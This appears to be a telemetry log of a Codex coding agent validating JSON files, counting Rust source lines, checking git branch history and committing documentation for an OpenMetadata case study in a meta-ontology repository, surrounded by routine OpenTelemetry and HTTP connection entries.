mcp_server_origin= event.timestamp=2026-07-12T04:07:48.537Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.538Z] [INFO] 2026-07-12T04:07:48.537522Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-cd8cc816-d301-4f5b-8cc5-d66eb27e29bb duration_ms=771 success=true arguments_length=675 output_length=790 output_line_count=22 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:48.537Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.538Z] [INFO] \n[2026-07-12T04:07:48.550Z] [INFO] 2026-07-12T04:07:48.549441Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_xW0YP8Mqushw8BhjvtLBx6fB arguments=const r=await tools.exec_command({cmd:\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\"valid JSON: #{f}\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '$1 > 1000 { bad=1 } END { exit bad }' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":10000}); text(r.output);\n[2026-07-12T04:07:48.550Z] [INFO]  duration_ms=878 success=true output=Script completed\n[2026-07-12T04:07:48.550Z] [INFO] Wall time 0.9 seconds\n[2026-07-12T04:07:48.550Z] [INFO] Output:\n[2026-07-12T04:07:48.550Z] [INFO] \n[2026-07-12T04:07:48.550Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:48.550Z] [INFO] valid JSON: docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:48.550Z] [INFO]    186 ./scripts/detect-code-changes.rs\n[2026-07-12T04:07:48.550Z] [INFO]    201 ./src/ontology.rs\n[2026-07-12T04:07:48.550Z] [INFO]    215 ./scripts/create-github-release.rs\n[2026-07-12T04:07:48.550Z] [INFO]    234 ./scripts/check-release-needed.rs\n[2026-07-12T04:07:48.550Z] [INFO]    234 ./scripts/collect-changelog.rs\n[2026-07-12T04:07:48.550Z] [INFO]    238 ./src/loader.rs\n[2026-07-12T04:07:48.550Z] [INFO]    273 ./scripts/rust-paths.rs\n[2026-07-12T04:07:48.550Z] [INFO]    321 ./src/words.rs\n[2026-07-12T04:07:48.550Z] [INFO]    532 ./scripts/version-and-commit.rs\n[2026-07-12T04:07:48.550Z] [INFO]   4498 total\n[2026-07-12T04:07:48.550Z] [INFO] From https://github.com/link-foundation/meta-ontology\n[2026-07-12T04:07:48.550Z] [INFO]  * branch            main       -> FETCH_HEAD\n[2026-07-12T04:07:48.550Z] [INFO]  * branch            issue-5-e2602184e2c5 -> FETCH_HEAD\n[2026-07-12T04:07:48.550Z] [INFO] 04e**********************************70b\n[2026-07-12T04:07:48.550Z] [INFO] origin/main is already in branch history\n[2026-07-12T04:07:48.550Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:48.549Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.550Z] [INFO] 2026-07-12T04:07:48.549486Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_xW0YP8Mqushw8BhjvtLBx6fB duration_ms=878 success=true arguments_length=725 output_length=734 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:48.549Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.550Z] [INFO] 2026-07-12T04:07:48.549695Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_xW0YP8Mqushw8BhjvtLBx6fB tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=878 total_duration_ms=878\n[2026-07-12T04:07:48.550Z] [INFO] \n[2026-07-12T04:07:48.672Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_44\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"ruby -rjson -e 'ARGV.each { |f| JSON.parse(File.read(f)); puts \\\\\\\"valid JSON: #{f}\\\\\\\" }' docs/case-studies/issue-5/raw-data/*.json\\nfind . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l | sort -n | tail -10\\nawk '\\\"'$1 > 1000 { bad=1 } END { exit bad }'\\\"' < <(find . -type f -name '*.rs' -not -path './target/*' -not -path './.git/*' -print0 | xargs -0 wc -l)\\ngit fetch origin main issue-5-e2602184e2c5 && git rev-parse origin/main && git merge-base --is-ancestor origin/main HEAD && echo 'origin/main is already in branch history'\\\"\",\"aggregated_output\":\"valid JSON: docs/case-studies/issue-5/raw-data/issue-5.json\\nvalid JSON: docs/case-studies/issue-5/raw-data/research-observations.json\\n   186 ./scripts/detect-code-changes.rs\\n   201 ./src/ontology.rs\\n   215 ./scripts/create-github-release.rs\\n   234 ./scripts/check-release-needed.rs\\n   234 ./scripts/collect-changelog.rs\\n   238 ./src/loader.rs\\n   273 ./scripts/rust-paths.rs\\n   321 ./src/words.rs\\n   532 ./scripts/version-and-commit.rs\\n  4498 total\\nFrom https://github.com/link-foundation/meta-ontology\\n * branch            main       -> FETCH_HEAD\\n * branch            issue-5-e2602184e2c5 -> FETCH_HEAD\\n04e**********************************70b\\norigin/main is already in branch history\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:48.672Z] [INFO] \n[2026-07-12T04:07:48.746Z] [INFO] 2026-07-12T04:07:48.744295Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:48.746Z] [INFO] \n[2026-07-12T04:07:48.755Z] [INFO] 2026-07-12T04:07:48.754146Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:48.754Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.755Z] [INFO] \n[2026-07-12T04:07:48.758Z] [INFO] 2026-07-12T04:07:48.755284Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:48.755Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:48.758Z] [INFO] 2026-07-12T04:07:48.755309Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:48.758Z] [INFO] \n[2026-07-12T04:07:48.832Z] [INFO] 2026-07-12T04:07:48.797504Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:48.832Z] [INFO] \n[2026-07-12T04:07:48.878Z] [INFO] 2026-07-12T04:07:48.876077Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:48.878Z] [INFO] \n[2026-07-12T04:07:48.885Z] [INFO] 2026-07-12T04:07:48.884758Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:48.885Z] [INFO] \n[2026-07-12T04:07:48.889Z] [INFO] 2026-07-12T04:07:48.888799Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:48.889Z] [INFO] \n[2026-07-12T04:07:49.031Z] [INFO] 2026-07-12T04:07:49.017819Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:49.031Z] [INFO] 2026-07-12T04:07:49.017918Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:48 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"26d79070-8925-4bf7-9bb7-754663d05f2e\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=9q98GsPjlWRaDvr3uYVRXeqN66Mls%2B6tweaDXCGcvZjlZIgqtm3zSakZKMYnnX%2FvTukjoZ2NgPkE3BwfO%2FiBwUqeSMykFGXIeQdJhumMpXQowic58f9j7nGgML33\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2ee2aa09dca6-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:49.031Z] [INFO] \n[2026-07-12T04:07:49.820Z] [INFO] 2026-07-12T04:07:49.758804Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531315bebc8191b799b36bbb61e723\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMV2UtkPmnzBjOi4JLCuhrg33axxTE1lqqslDvNNhmmmeeKCoFvYSTzwr8sb6AcgxutyY6WrFKfk7zBJWFQRH4xkKSqIECl0-32RNhxSOLXn282DPFCEG1ncG32tVs-w7v7UzqgYiCnKXqkREA_jzpHmSKs_baPnM0eOv6UNcYHvdIFB-BkzMMgE4Nw9nvDEFvi1vdbOzIy0Y0td-Y2ezguIsed1ZoY4u-MbJRyggyJjIPrxEisGbH-qrjeD21Poqgs3FTezcDvlW23MvmLw9MSst1kUk1bS9SKXnzxm9R7vG2nTnwzszdc7_NeUbCxscgBah6tUbILuiAv9ZXzET84KO6SIOYJXB0ACOr3xG6bMk0H_ijSClmW0MEc9ZD-E5yidFQmB4ZWxVGmiBahqHIUpJ7eS6pPuyfUXICo4occXZlwtaKaBsrbJAORsRlfKAX8QObe4s35Q4Wg8OWUqi-RQ4crr68WNriyInTlNyMawXL2siwHjbQBVfNZ-j7Ty4b74YlAPuG9Z2aX8Trk1EizgciBK8zeWne10PF_y8zr2PTUiHgyp7HBs59A6KAMt4Jx2M7YFT4DWuYqWm757FhSNu3_7jIREOVsXna84ea5Rgk5GEvUzyux6KHfvORVjHRFZMdurmUZo_jK_GVnQ0PFx3689rpvbm767AzDa-g1yySoFpDCRslK2PJKcC6lSAaJimtakW3raCCdVWUssnUxqJ3NlWJ9Y7Vjflw5Eb0zC9D8JM1YkNlcGqRSgvs9cF0hCsbgGidCOuQqeOEOTEBDrv2TG08E7qkBRBS2KLZKBiNTkD1Js1566MQ-kCpI7zu_uKyaDCZUBPGjLh3LHkYZfkXxTn0Zjw4V6IrOlUGFfPOD0Z_BoBBj9jPJc1BQOJdT0sRfBnIR8RWWQTxvUmcDjA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:49.820Z] [INFO] \n[2026-07-12T04:07:50.143Z] [INFO] 2026-07-12T04:07:50.142592Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a531315bebc8191b799b36bbb61e723\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMWhw3KQ6qC7qSym2XVSaWinO2e7uEv4h1ziftfIMzZjQJowt0lnhpOx2Vl6wcmDq4NP8CDbny8NjBHEPQLCL3aArNjoSvgCaycWjHroUXbYMLgQzuj1M3VtISPOuZkeVZv8acVNynQf8qqmsX9g5Cd1ETSqm-FLsL6rvjwGDge4TXeRASkbOe54AQiXoWDnnaTe09i2_z0qk8dfck_0KYzkION9X4EUL7t46ccIxBbUFrYEQi-8SYrkXTZPMdqAxZ1yRVFTHYVutSo8KYcK-Y2Uj2bwx0_v-1IT_5lpyMW2JOjdNRrXJrQbH4SjrHj22efMwq0c8Y96VN8R3HlYAlzRgLhREnbl7FotTJQCjq0TFh0Y3MqKQ30LHvmM7ZoAAnVUOxl7Nsok5FT_XR6m7DADtaGDQyqM1-RrTjqdI94BIEiWw7y4Phrmi8jMTpffsWnzgJ46HZ-1YzaoD-ey5xEHsrtlGSby4m-Yc_5Wn7YBioXYNi6rhZV1zBZC1mTjal6uxt1-iwNULc0jMHM55iCHJU-7LPEkvqjrmQr98-y9w0bL9op5uenpZbZeG7G8xQU4YK6l3C9g4VFhOI8NUb6kTpRmIuO8qP5eAc3C8xLR4ZLySzHkS5MnGA36xNNyAvuFEGCAnnYfXVyL5Sl161pT7w0cvFntshxWqK0zgbfpSjobGlOz6q9EVPIi6Zu3mkZ7Nntq4yvLRK_KmbQ-LGEME8wVUobddEt1H85mpF4v04ljZ6wc-FGvXZR6f9fWc6q_dEDGP3qXb5v1BSsqSYP39fLUaIr2T20iH1ejV74iHnf2J5AC8jqxeRwXxqsJ_NsQPXH0SwwnrKv_BqLziJrMkGZ3JANJ_LlwRBFljGR_eIg7mYzRnDwyZHi9NAxd0VBrqv-yyflPq-RcPgey3W5ghDRiJJRpjfXZ45QFjGnORM=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:50.143Z] [INFO] \n[2026-07-12T04:07:50.147Z] [INFO] 2026-07-12T04:07:50.146655Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53131620e88191892e1a3795cde5b8\"), status: Some(\"in_progress\"), call_id: \"call_nwniVhZ5EAUKmGKFAhVedSdc\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:50.147Z] [INFO] \n[2026-07-12T04:07:51.618Z] [INFO] 2026-07-12T04:07:51.608792Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:07:51.618Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:51.618Z] [INFO] \n[2026-07-12T04:07:51.626Z] [INFO] 2026-07-12T04:07:51.616475Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531314d09c8191935449955dfead76\"\n[2026-07-12T04:07:51.626Z] [INFO] 2026-07-12T04:07:51.616782Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75285 output_token_count=96 cached_token_count=74496 reasoning_token_count=7 tool_token_count=75381 ttft_ms=1005 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:51.616Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.626Z] [INFO] 2026-07-12T04:07:51.616809Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=75285 output_token_count=96 cached_token_count=74496 reasoning_token_count=7 tool_token_count=75381 ttft_ms=1005 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:51.616Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.626Z] [INFO] \n[2026-07-12T04:07:51.710Z] [INFO] 2026-07-12T04:07:51.701517Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a603ba79-43c0-4f07-92df-f82b1093536b decision=approved source=Config event.timestamp=2026-07-12T04:07:51.701Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.710Z] [INFO] \n[2026-07-12T04:07:51.873Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_45\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:51.873Z] [INFO] \n[2026-07-12T04:07:51.880Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_45\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3'\",\"aggregated_output\":\"[issue-5-e2602184e2c5 4dcfb8e] docs: analyze OpenMetadata best practices\\n 8 files changed, 765 insertions(+), 1 deletion(-)\\n delete mode 100644 .gitkeep\\n create mode 100644 changelog.d/20260712_openmetadata_case_study.md\\n create mode 100644 docs/case-studies/issue-5/README.md\\n create mode 100644 docs/case-studies/issue-5/openmetadata-analysis.md\\n create mode 100644 docs/case-studies/issue-5/raw-data/issue-5.json\\n create mode 100644 docs/case-studies/issue-5/raw-data/research-observations.json\\n create mode 100644 docs/case-studies/issue-5/requirements-and-solutions.md\\n create mode 100644 docs/case-studies/issue-5/source-inventory.md\\n## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5 [ahead 1]\\n4dcfb8e (HEAD -> issue-5-e2602184e2c5) docs: analyze OpenMetadata best practices\\ne4aaa28 (origin/issue-5-e2602184e2c5) Initial commit with task details\\n04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:51.880Z] [INFO] \n[2026-07-12T04:07:51.891Z] [INFO] 2026-07-12T04:07:51.887181Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a603ba79-43c0-4f07-92df-f82b1093536b arguments={\"cmd\":\"git commit -m \\\"docs: analyze OpenMetadata best practices\\\" && git status --short --branch && git log --oneline --decorate -3\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=186 success=true output=Chunk ID: 08ed85\n[2026-07-12T04:07:51.891Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:07:51.891Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:51.891Z] [INFO] Original token count: 233\n[2026-07-12T04:07:51.891Z] [INFO] Output:\n[2026-07-12T04:07:51.891Z] [INFO] [issue-5-e2602184e2c5 4dcfb8e] docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.891Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:51.891Z] [INFO]  delete mode 100644 .gitkeep\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/README.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:51.891Z] [INFO]  create mode 100644 docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:51.891Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5 [ahead 1]\n[2026-07-12T04:07:51.891Z] [INFO] 4dcfb8e (HEAD -> issue-5-e2602184e2c5) docs: analyze OpenMetadata best practices\n[2026-07-12T04:07:51.891Z] [INFO] e4aaa28 (origin/issue-5-e2602184e2c5) Initial commit with task details\n[2026-07-12T04:07:51.891Z] [INFO] 04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\n[2026-07-12T04:07:51.891Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:51.887Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.891Z] [INFO] 2026-07-12T04:07:51.887228Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a603ba79-43c0-4f07-92df-f82b1093536b duration_ms=186 success=true arguments_length=230 output_length=1036 output_line_count=19 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:51.887Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:51.891Z] [INFO] 